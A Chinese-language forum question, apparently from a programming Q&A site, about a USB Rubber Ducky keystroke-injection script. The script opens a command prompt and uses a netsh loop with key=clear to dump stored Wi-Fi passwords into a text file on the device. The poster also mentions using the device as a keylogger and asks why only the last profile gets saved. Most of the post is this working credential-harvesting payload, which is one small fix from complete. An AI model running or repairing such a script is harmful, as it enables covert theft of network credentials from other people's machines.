我正在创建一个基本的 USB Rubber Ducky 脚本,目的是将计算机存储的 wifi 密码保存到文本文件中。我已经用 TwinDuck 刷新了 USB RubberDucky,并且成功地将它用作键盘记录器和大容量存储设备。我的代码在技术上有效,但是,它只将最后存储的配置文件而不是所有配置文件打印到文本文件中。
这是我的代码:
DELAY 100
GUI r
DELAY 100
STRING cmd
ENTER
DELAY 100
STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear > d:\wifi.txt | type d:\wifi.txt
ENTER
我知道错误与第 7 行中的 for 循环有关,但是我已经在命令提示符下测试了该命令,它会根据需要输出所有存储的配置文件。问题在于将所有输出带到命令提示符并存储到文本文件中。只是为了重申这个问题,它只打印最后一个 Wi-Fi 配置文件。